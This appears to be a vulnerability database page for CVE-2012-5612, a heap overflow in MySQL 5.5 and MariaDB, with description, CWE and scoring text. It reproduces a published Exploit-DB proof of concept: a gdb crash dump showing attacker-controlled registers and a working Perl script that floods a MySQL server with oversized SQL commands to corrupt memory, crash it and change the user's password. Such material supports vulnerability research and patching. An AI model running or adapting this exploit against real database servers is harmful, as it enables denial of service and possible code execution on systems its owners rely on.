CVE-2012-5612 Detail

CVE-2012-5612

CVE Descriptions

Heap-based buffer overflow in Oracle MySQL 5.5.19 and other versions through 5.5.28, and MariaDB 5.5.28a and possibly other versions, allows remote authenticated users to cause a denial of service (memory corruption and crash) and possibly execute arbitrary code, as demonstrated using certain variations of the (1) USE, (2) SHOW TABLES, (3) DESCRIBE, (4) SHOW FIELDS FROM, (5) SHOW COLUMNS FROM, (6) SHOW INDEX FROM, (7) CREATE TABLE, (8) DROP TABLE, (9) ALTER TABLE, (10) DELETE FROM, (11) UPDATE, and (12) SET PASSWORD commands.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.5		AV:N/AC:L/Au:S/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 23076

Publication date : 2012-12-01 23h00 +00:00
Author : kingcope
EDB Verified : No

# MySQL Heap Overrun # tested for the latest version of mysql server on a SuSE Linux system # # As seen below $edx and $edi are fully controlled, # the current instruction is # => 0x83a6b24 <free_root+180>: mov (%edx),%edi # this means we landed in a place where 4 bytes can be controlled by 4 bytes # with this function pointers and GOT entries can be rewritten to execute arbritrary code # # a user account (with less privileges) is needed # beware: this script will change the users password to an undefined value # =for comment Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xa86b3b70 (LWP 9219)] free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369 369 old=next; next= next->next; (gdb) bt #0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369 #1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709 #2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401 #3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260 #4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271 #5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026 #6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075 #7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188 #8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796 #9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708 #10 0xb7744b05 in start_thread () from /lib/libpthread.so.0 #11 0xb750fd5e in clone () from /lib/libc.so.6 (gdb) i r eax 0x8ec63b8 149709752 ecx 0xa86b326c -1469369748 edx 0x5a5a5a5a 1515870810 ebx 0x880eff4 142667764 esp 0xa86b31b0 0xa86b31b0 ebp 0xa86b31d8 0xa86b31d8 esi 0x8e7c714 149407508 edi 0x5a5a5a5a 1515870810 eip 0x83a6b24 0x83a6b24 <free_root+180> eflags 0x210293 [ CF AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/10i $eip => 0x83a6b24 <free_root+180>: mov (%edx),%edi 0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195> 0x83a6b28 <free_root+184>: mov %edx,(%esp) 0x83a6b2b <free_root+187>: call 0x83acb70 <my_free> 0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax 0x83a6b33 <free_root+195>: test %edi,%edi 0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176> 0x83a6b37 <free_root+199>: test %eax,%eax 0x83a6b39 <free_root+201>: movl $0x0,(%esi) 0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi) (gdb) =cut use Net::MySQL; use Encode; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => "test", user => "user", password => "test", debug => 0, port => 3306, ); @commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t", "CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c", "DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')"); foreach my $command (@commands) { for ($k=0;$k<length($command);$k++) { $c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1); $c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1); print "$c2"; $mysql->query($c); } } $mysql->close;